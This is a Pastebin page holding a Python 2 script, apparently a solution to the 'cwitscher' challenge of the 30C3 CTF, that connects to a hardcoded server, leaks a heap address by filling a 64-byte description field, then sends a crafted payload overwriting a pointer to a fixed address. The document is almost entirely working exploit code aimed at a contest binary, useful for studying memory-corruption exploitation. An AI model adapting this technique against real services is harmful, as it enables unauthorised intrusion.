Advertisement
Guest User

Python script for cwitscher in 30C3CTF

a guest
Dec 29th, 2013
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.16 KB | None | 0 0
  1. import socket
  2. import struct
  3.  
  4. def main():
  5.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6.     s.connect(("88.198.89.198", 1024))
  7.     print s.recv(1024)
  8.     # Handle
  9.     s.send("abcd\n")
  10.     print s.recv(1024)
  11.     # Write 64 bytes to DESCRIPTION
  12.     s.send("2\n")
  13.     print s.recv(1024)
  14.     s.send("A" * 64 + "\n")
  15.     print s.recv(1024)
  16.     # Allocate a message block
  17.     s.send("3\n")
  18.     print s.recv(1024)
  19.     s.send("abcdabcdabcd\n")
  20.     print s.recv(1024)
  21.     # Read DESCRIPTION out
  22.     s.send("2\n")
  23.     data = s.recv(1024)
  24.     print data
  25.     data = data[data.find("description:\n") + 13 : ]
  26.     data = data[64 : data.find("Enter")]
  27.     data = data[ :: -1]
  28.     print data
  29.     x = "".join("%x" % ord(c) for c in data)
  30.     print "Good block locates at 0x%s" % x
  31.     addr = int(x, 16)
  32.  
  33.     payload = "\x00\x00\x00\x00" + struct.pack("<Q", 0x8) + struct.pack("<Q", addr) + "A" * (64 - 20) + struct.pack("<Q", 0x605fa4)
  34.     s.send(payload + "\n")
  35.     print s.recv(1024)
  36.     s.send("4\n")
  37.     print s.recv(1024)
  38.     s.send("0\n")
  39.     print s.recv(1024)
  40.     s.send("23\n")
  41.     print s.recv(1024)
  42.  
  43. if __name__ == "__main__":
  44.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement